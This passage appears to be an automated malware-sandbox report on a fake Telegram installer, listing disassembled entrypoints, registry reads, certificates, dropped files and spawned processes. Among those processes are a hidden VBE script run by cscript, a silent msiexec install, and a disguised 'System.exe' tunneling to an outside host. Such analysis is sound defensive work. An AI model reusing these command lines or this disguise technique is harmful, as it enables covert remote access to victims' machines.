writable section named ".data" "is-PVEBQ.tmp" has an writable section named ".data" "D5rra.tmp" has an writable section named ".data" "D5rra.tmp" has an writable section named ".bss" "D5rra.tmp" has an writable section named ".idata" "D5rra.tmp" has an writable section named ".didata" "D5rra.tmp" has an writable section named ".tls" "is-7JH8E.tmp" has an writable section named ".data" "is-7JH8E.tmp" has an writable section named ".bss" "is-7JH8E.tmp" has an writable section named ".idata" "is-7JH8E.tmp" has an writable section named ".didata" "is-7JH8E.tmp" has an writable section named ".tls" "is-2BAEF.tmp" has an writable section named ".data" "is-2BAEF.tmp" has an writable section named ".fptable" "is-3R46B.tmp" has an writable section named ".data" "is-3R46B.tmp" has an writable section named ".fptable" "_setup64.tmp" has an writable section named ".data"4a:T1b9f,"Telagrenn.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,push -1,push 0x402128,push 0x401ea0,mov eax, dword ptr fs:[0],push eax,mov dword ptr fs:[0], esp,sub esp, 0x68,push ebx,push esi,push edi,mov dword ptr [ebp - 0x18], esp,xor ebx, ebx,mov dword ptr [ebp - 4], ebx,push 2,call dword ptr [0x402088],pop ecx,or dword ptr [0x403554], 0xffffffff,or dword ptr [0x403558], 0xffffffff,call dword ptr [0x402084],mov ecx, dword ptr [0x4032cc],mov dword ptr [eax], ecx,call dword ptr [0x402080],mov ecx, dword ptr [0x4032c8],mov dword ptr [eax], ecx,mov eax, dword ptr [0x40207c]," "CoreLogic.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100070ee,call 0x10007110,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10006fa0,add esp, 0xc,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp,mov eax, dword ptr [0x1001e0c0],sub esp, 0x14,cmp eax, 0xbb40e64e,je 0x10007134,test eax, 0xffff0000,je 0x10007134,not eax,mov dword ptr [0x1001e100], eax,mov esp, ebp,pop ebp,ret ,lea eax, [ebp - 0xc],xorps xmm0, xmm0,push eax,movlpd qword ptr [ebp - 0xc], xmm0," "genteert.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,push ebx,mov ebx, dword ptr [ebp + 8],push esi,mov esi, dword ptr [ebp + 0xc],push edi,mov edi, dword ptr [ebp + 0x10],test esi, esi,jne 0x100010e7,cmp dword ptr [0x1000ce20], 0,jmp 0x1000110d,cmp esi, 1,je 0x100010f1,cmp esi, 2,jne 0x10001113,mov eax, dword ptr [0x1000ce38],test eax, eax,je 0x10001103,push edi,push esi,push ebx,call eax,test eax, eax,je 0x1000110f,push edi,push esi,push ebx,call 0x10001020,test eax, eax,jne 0x10001113,xor eax, eax,jmp 0x10001161,push edi,push esi,push ebx,call 0x10001000,cmp esi, 1,mov dword ptr [ebp + 0xc], eax,jne 0x1000112f,test eax, eax,jne 0x1000115e,push edi,push eax,push ebx,call 0x10001020," "guig.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,push ebx,mov ebx, dword ptr [ebp + 8],push esi,mov esi, dword ptr [ebp + 0xc],push edi,mov edi, dword ptr [ebp + 0x10],test esi, esi,jne 0x10001d95,cmp dword ptr [0x10003074], 0,jmp 0x10001dbb,cmp esi, 1,je 0x10001d9f,cmp esi, 2,jne 0x10001dc1,mov eax, dword ptr [0x100032f0],test eax, eax,je 0x10001db1,push edi,push esi,push ebx,call eax,test eax, eax,je 0x10001dbd,push edi,push esi,push ebx,call 0x10001cce,test eax, eax,jne 0x10001dc1,xor eax, eax,jmp 0x10001e0f,push edi,push esi,push ebx,call 0x1000161c,cmp esi, 1,mov dword ptr [ebp + 0xc], eax,jne 0x10001ddd,test eax, eax,jne 0x10001e0c,push edi,push eax,push ebx,call 0x10001cce," "is-PVEBQ.tmp" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180293cd1,call 0x1802944bc,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180293b4c,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],cmp rcx, qword ptr [rip + 0x1ef4b9],jne 0x180293d19,rol rcx, 0x10,test cx, 0xffff,jne 0x180293d15," "D5rra.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,push ebx,push esi,push edi,mov eax, 0x6c72e0,call 0x411f60,xor eax, eax,push ebp,push 0x6da92c,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,push 1,call 0x4159ec,call 0x6c7044,mov eax, dword ptr [0x6c6f34],push eax,push 0x6c6fcc,mov eax, dword ptr [0x6e510c],mov eax, dword ptr [eax],call 0x5b893c,mov eax, 0x66c49c,mov edx, dword ptr [0x6e4f80],mov dword ptr [edx], eax,mov eax, dword ptr [0x6e506c],mov dword ptr [eax], 1,push 0,mov eax, dword ptr [0x6e510c]," "is-7JH8E.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,push ebx,push esi,push edi,mov eax, 0x6bd1ac,call 0x411d70,xor eax, eax,push ebp,push 0x6cfa28,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,push 1,call 0x4156d8,call 0x6bcf10,mov eax, dword ptr [0x6bce00],push eax,push 0x6bce98,mov eax, dword ptr [0x6d99c8],mov eax, dword ptr [eax],call 0x5ab98c,mov eax, 0x65f0b0,mov edx, dword ptr [0x6d9840],mov dword ptr [edx], eax,mov eax, dword ptr [0x6d9928],mov dword ptr [eax], 1,push 0,mov eax, dword ptr [0x6d99c8]," "is-2BAEF.tmp" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000a1f0,add rsp, 0x28,jmp 0x140009ab0,int3 ,int3 ,sub rsp, 0x28,mov r8, qword ptr [r9 + 0x38],mov rcx, rdx,mov rdx, r9,call 0x140009c58,mov eax, 1,add rsp, 0x28,ret ,int3 ,int3 ,int3 ,push rbx,mov r11d, dword ptr [r8],mov rbx, rdx,and r11d, 0xfffffff8,mov r9, rcx,test byte ptr [r8], 4,mov r10, rcx,je 0x140009c83,mov eax, dword ptr [r8 + 8],movsxd r10, dword ptr [r8 + 4],neg eax,add r10, rcx,movsxd rcx, eax,and r10, rcx,movsxd rax, r11d," "is-3R46B.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000286e,call 0x10002890,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10002720,add esp, 0xc,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp,mov eax, dword ptr [0x10023000],sub esp, 0x14,cmp eax, 0xbb40e64e,je 0x100028b4,test eax, 0xffff0000,je 0x100028b4,not eax,mov dword ptr [0x10023040], eax,mov esp, ebp,pop ebp,ret ,lea eax, [ebp - 0xc],xorps xmm0, xmm0,push eax,movlpd qword ptr [ebp - 0xc], xmm0," "is-4O7G3.tmp" file has an entrypoint instructions - "push ebx,push edi,push esi,xor edx, edx,xor edi, edi,inc edi,mov ebx, 0x63,xor ecx, ecx,mov esi, edx,cmp ecx, 3,jbe 0x400b56,cmp ecx, 0x63,jne 0x400b4a,jmp 0x400bb6,jmp dword ptr [ecx*4 + 0x401334],call 0x400a46,mov ecx, 3,jmp 0x400b4a,call 0x4004f1,mov ecx, 0x63,mov edx, edi,test eax, eax,je 0x400b48,push edi,push 0,call 0x400e0c,add esp, 8,mov dword ptr [0x4013f0], eax,test eax, eax,cmove esi, edi,mov ecx, edi,jmp 0x400ba1,call 0x4008ec,test eax, eax,cmove esi, eax," "_setup64.tmp" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400012a4,mov ecx, eax,call qword ptr [rip + 0xb8f],int3 ,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,add byte ptr [rax], al,"4b:T746,"Telagrenn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Telagrenn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Telagrenn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Telagrenn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "tsetup-x64.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "tsetup-x64.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tsetup-x64.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "tsetup-x64.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "tsetup-x64.7.0.2.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "tsetup-x64.7.0.2.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tsetup-x64.7.0.2.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "tsetup-x64.7.0.2.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "Telegram.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Telegram.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Telegram.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NAME") "Telegram.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")4c:T40a,Spawned process "cscript.exe" with commandline "/nologo "%APPDATA%\\Telegram\\adddf.vbe" C:\\" (UID: 00000000-00006908) Spawned process "tsetup-x64.7.0.2.exe" (UID: 00000000-00007176) Spawned process "tsetup-x64.7.0.2.tmp" with commandline "/SL5="$8036C 53101816 826880 %TEMP%\\gentee2B\\tsetup-x64.7.0.2. ..." (UID: 00000000-00007736), Spawned process "Telegram.exe" (UID: 00000000-00002316), Spawned process "Telegram.exe" (UID: 00000000-00001040), Spawned process "Telegram.exe" (UID: 00000000-00007280), Spawned process "D5rra.exe" (UID: 00000000-00006424), Spawned process "D5rra.tmp" with commandline "/SL5="$60388,20804243,926208,%TEMP%\\gentee2B\\D5rra.exe"" (UID: 00000000-00002688), Spawned process "msiexec.exe" with commandline "/i "%TEMP%\\is-CAG3H.tmp\\cf.msi" /qn /norestart" (UID: 00000000-00005572), Spawned process "msiexec.exe" with commandline "/V" (UID: 00000000-00007060), Spawned process "System.exe" with commandline "access tcp --url tcp://127.0.0.1:443 --hostname www.fergcvbt.com" (UID: 00000000-00003244)4d:T40a,Spawned process "cscript.exe" with commandline "/nologo "%APPDATA%\\Telegram\\adddf.vbe" C:\\" (UID: 00000000-00006908) Spawned process "tsetup-x64.7.0.2.exe" (UID: 00000000-00007176) Spawned process "tsetup-x64.7.0.2.tmp" with commandline "/SL5="$8036C 53101816 826880 %TEMP%\\gentee2B\\tsetup-x64.7.0.2. ..." (UID: 00000000-00007736), Spawned process "Telegram.exe" (UID: 00000000-00002316), Spawned process "Telegram.exe" (UID: 00000000-00001040), Spawned process "Telegram.exe" (UID: 00000000-00007280), Spawned process "D5rra.exe" (UID: 00000000-00006424), Spawned process "D5rra.tmp" with commandline "/SL5="$60388,20804243,926208,%TEMP%\\gentee2B\\D5rra.exe"" (UID: 00000000-00002688), Spawned process "msiexec.exe" with commandline "/i "%TEMP%\\is-CAG3H.tmp\\cf.msi" /qn /norestart" (UID: 00000000-00005572), Spawned process "msiexec.exe" with commandline "/V" (UID: 00000000-00007060), Spawned process "System.exe" with commandline "access tcp --url tcp://127.0.0.1:443 --hostname www.fergcvbt.com" (UID: 00000000-00003244)4e:Teae,The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 8D:07:75:6D:C9:3E:05:B5:3E:13:A8:E5:04:2D:BD:63:D3:44:18:69; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=WE2, O=Google Trust Services, C=US" (SHA1: DD:4C:67:98:A6:BE:10:5A:7E:0E:B6:60:FD:65:FE:D4:FC:69:06:04; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 4D:9A:CB:31:3D:73:DA:2E:9E:B4:51:A7:CF:63:09:AF:45:C9:93:C1; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: E4:D6:E8:E5:22:80:AD:72:51:7B:20:20:8B:56:F6:8F:73:C8:AB:00; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GoDaddy TLS Intermediate CA DV - R1v1, O=GoDaddy.com, C=US" (SHA1: D3:F2:BD:73:90:23:52:7C:F2:6D:35:7F:50:B8:B8:02:08:20:4B:56; see report for more information) The input sample is signed with a certificate issued by "CN=GoDaddy TLS Root CA - R1, O=GoDaddy.com, C=US" (SHA1: 34:61:29:CF:D9:D9:41:2A:8F:26:80:7E:6E:EE:40:74:44:61:4D:5E; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 97:08:54:2D:76:3B:1A:AF:C1:2C:D5:B6:5B:3B:C9:E1:82:F7:1F:C4; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 53:02:68:28:E0:EB:90:9A:3F:7B:6F:4F:9D:2C:04:E8:1D:8C:F0:F3; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Trusted Root G4, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: DD:FB:16:CD:49:31:C9:73:A2:03:7D:3F:C8:3A:4D:7D:77:5D:05:E4; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 9D:CA:72:17:DA:FF:B8:2F:E4:C4:67:77:36:2F:A4:AA:C9:08:82:15; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Trusted Root G4, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 7B:0F:36:0B:77:5F:76:C9:4A:12:CA:48:44:5A:A2:D2:A8:75:70:1C; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert Inc.", C=US" (SHA1: 3D:BF:E8:D3:DE:F7:C4:FE:50:39:B0:6B:D0:B5:91:38:75:73:52:42; see report for more information)4f:T2e01,"System.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 23 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\System\System.exe]- [targetUID: 00000000-00002688] "tsetup-x64.7.0.2.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\gentee2B\tsetup-x64.7.0.2.exe]- [targetUID: 00000000-00007176] "D5rra.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\gentee2B\D5rra.exe]- [targetUID: 00000000-00002688] "CoreLogic.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\is-CAG3H.tmp\CoreLogic.dll]- [targetUID: 00000000-00002688] "genteert.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\genteert.dll]- [targetUID: 00000000-00002804] "guig.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\gentee2B\guig.dll]- [targetUID: 00000000-00002804] "adddf.vbe" has type "data"- Location: [%APPDATA%\Telegram\adddf.vbe]- [targetUID: 00000000-00002804] "Telegram.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Unicoded MachineID dtk7tx78kcwksww KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Archive ctime=Tue Sep 29 15:50:00 2026 atime=Tue Sep 29 15:50:00 2026 mtime=Sat Jul 18 02:52:54 2026 length=214224936 window=normal IDListSize 0x01e4 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\AppData\Roaming\Telegram Desktop\Telegram.exe""- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Telegram.lnk]- [targetUID: 00000000-00002316] "Telegram.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Unicoded MachineID dtk7tx78kcwksww Archive ctime=Tue Sep 29 15:50:00 2026 atime=Tue Sep 29 15:50:00 2026 mtime=Sat Jul 18 02:52:54 2026 length=214224936 window=normal IDListSize 0x01e4 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\AppData\Roaming\Telegram Desktop\Telegram.exe""- Location: [%USERPROFILE%\Desktop\Telegram.lnk]- [targetUID: 00000000-00002316] "Uninstall Telegram.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Unicoded MachineID dtk7tx78kcwksww Archive ctime=Tue Sep 29 15:50:00 2026 atime=Tue Sep 29 15:50:00 2026 mtime=Tue Sep 29 15:26:00 2026 length=3481128 window=normal IDListSize 0x01e4 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\AppData\Roaming\Telegram Desktop\unins000.exe""- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Uninstall Telegram.lnk]- [targetUID: 00000000-00007736] "is-5K88K.tmp" has type "Composite Document File V2 Document Can't read SAT"- Location: [%TEMP%\is-CAG3H.tmp\is-5K88K.tmp]- [targetUID: 00000000-00002688] "is-E85C2.tmp" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 11 sections"- Location: [%APPDATA%\Telegram Desktop\is-E85C2.tmp]- [targetUID: 00000000-00007736] "is-PVEBQ.tmp" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%APPDATA%\Telegram Desktop\modules\x64\d3d\is-PVEBQ.tmp]- [targetUID: 00000000-00007736] "D5rra.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-DUFEV.tmp\D5rra.tmp]- [targetUID: 00000000-00002688] "is-7JH8E.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%APPDATA%\Telegram Desktop\is-7JH8E.tmp]- [targetUID: 00000000-00007736] "cache_24_1" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_1]- [targetUID: 00000000-00002316] "cache_24_6" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_6]- [targetUID: 00000000-00002316] "cache_24_4" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_4]- [targetUID: 00000000-00002316] "cache_24_2" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_2]- [targetUID: 00000000-00002316] "cache_24_5" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_5]- [targetUID: 00000000-00002316] "cache_24_0" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_0]- [targetUID: 00000000-00002316] "cache_24_3" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_3]- [targetUID: 00000000-00002316] "cache_18_5" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_5]- [targetUID: 00000000-00002316] "cache_18_6" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_6]- [targetUID: 00000000-00002316] "cache_18_3" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_3]- [targetUID: 00000000-00002316] "cache_18_2" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_2]- [targetUID: 00000000-00002316] "cache_18_4" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_4]- [targetUID: 00000000-00002316] "cache_18_0" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_0]- [targetUID: 00000000-00002316] "cache_18_1" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_1]- [targetUID: 00000000-00002316] "0B6BAAA132866617s.QoUsKy" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\0B6BAAA132866617s.QoUsKy]- [targetUID: 00000000-00002316] "text" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\spoiler\text]- [targetUID: 00000000-00002316] "cache_24_7" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_7]- [targetUID: 00000000-00002316] "cache_18_7" has type "Excel 2 BIFF 2"- Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_7]- [targetUID: 00000000-00002316] "is-2BAEF.tmp" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%APPDATA%\Telegram Desktop\is-2BAEF.tmp]- [targetUID: 00000000-00007736] "is-3R46B.tmp" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%ALLUSERSPROFILE%\CfServerSoftwareDistribution\is-3R46B.tmp]- [targetUID: 00000000-00002688] "is-4O7G3.tmp" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- Location: [%ALLUSERSPROFILE%\CfServerSoftwareDistribution\is-4O7G3.tmp]- [targetUID: 00000000-00002688] "unins000.msg" has type "InnoSetup messages version 6.4.0 266 messages (UTF-16) Cancel installation"- Location: [%APPDATA%\Telegram Desktop\unins000.msg]- [targetUID: 00000000-00007736] "countries" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\countries]- [targetUID: 00000000-00002316] "unins000.dat" has type "InnoSetup Log 64-bit Telegram Desktop {53F49750-6209-4FBF-9CA8-7A333C87D1ED} version 0x418 10689 bytes Dtk7TX78K\dyYd15z\3 C:\Users\HAPUBWS\AppData\Roaming\Telegram"- Location: [%APPDATA%\Telegram Desktop\unins000.dat]- [targetUID: 00000000-00007736] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-CAG3H.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00002688] "shortcuts-default.json" has type "ASCII text"- Location: [%APPDATA%\Telegram Desktop\tdata\shortcuts-default.json]- [targetUID: 00000000-00002316] "setup_temp.gea" has type "data"- Location: [%TEMP%\gentee2B\setup_temp.gea]- [targetUID: 00000000-00002804] "quit_0.ico" has type "MS Windows icon resource - 3 icons 16x16 with PNG image data 16 x 16 8-bit/color RGBA non-interlaced 32 bits/pixel 32x32 with \012- PNG image data 32 x 32 8-bit/color RGBA non-interlaced 32 bits/pixel"- Location: [%APPDATA%\Telegram Desktop\tdata\temp\quit_0.ico]- [targetUID: 00000000-00002316] "settingss.cqZfjk" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\settingss.cqZfjk]- [targetUID: 00000000-00002316] "settingss.jKJwdR" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\settingss.jKJwdR]- [targetUID: 00000000-00002316] "settingss.xFkkHD" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\settingss.xFkkHD]- [targetUID: 00000000-00002316] "settingss.vLJYVS" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\settingss.vLJYVS]- [targetUID: 00000000-00002316] "settingss.gAASVn" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\settingss.gAASVn]- [targetUID: 00000000-00002316] "settingss.SiAlyu" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\settingss.SiAlyu]- [targetUID: 00000000-00002316] "settingss.LDmFnY" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\settingss.LDmFnY]- [targetUID: 00000000-00002316] "log_start0.txt" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Telegram Desktop\log_start0.txt]- [targetUID: 00000000-00002316] "log_start1.txt" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Telegram Desktop\log_start1.txt]- [targetUID: 00000000-00007280] "configs.ICmQdw" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8C\configs.ICmQdw]- [targetUID: 00000000-00002316] "D877F783D5D3EF8Cs.DUURkx" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8Cs.DUURkx]- [targetUID: 00000000-00002316] "D877F783D5D3EF8Cs.jtqDwl" has type "data"- [targetUID: 00000000-00002316] "D877F783D5D3EF8Cs.nXhIpS" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8Cs.nXhIpS]- [targetUID: 00000000-00002316] "shortcuts-custom.json" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Telegram Desktop\tdata\shortcuts-custom.json]- [targetUID: 00000000-00002316] "key_datas.CqXHZE" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\key_datas.CqXHZE]- [targetUID: 00000000-00002316] "D877F783D5D3EF8Cs.CrOVPL" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8Cs.CrOVPL]- [targetUID: 00000000-00002316] "E9A1C5087BF60381s.iPLQwK" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s.iPLQwK]- [targetUID: 00000000-00002316] "E9A1C5087BF60381s.yCWNEu" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s.yCWNEu]- [targetUID: 00000000-00002316] "E9A1C5087BF60381s.QXQUvZ" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s.QXQUvZ]- [targetUID: 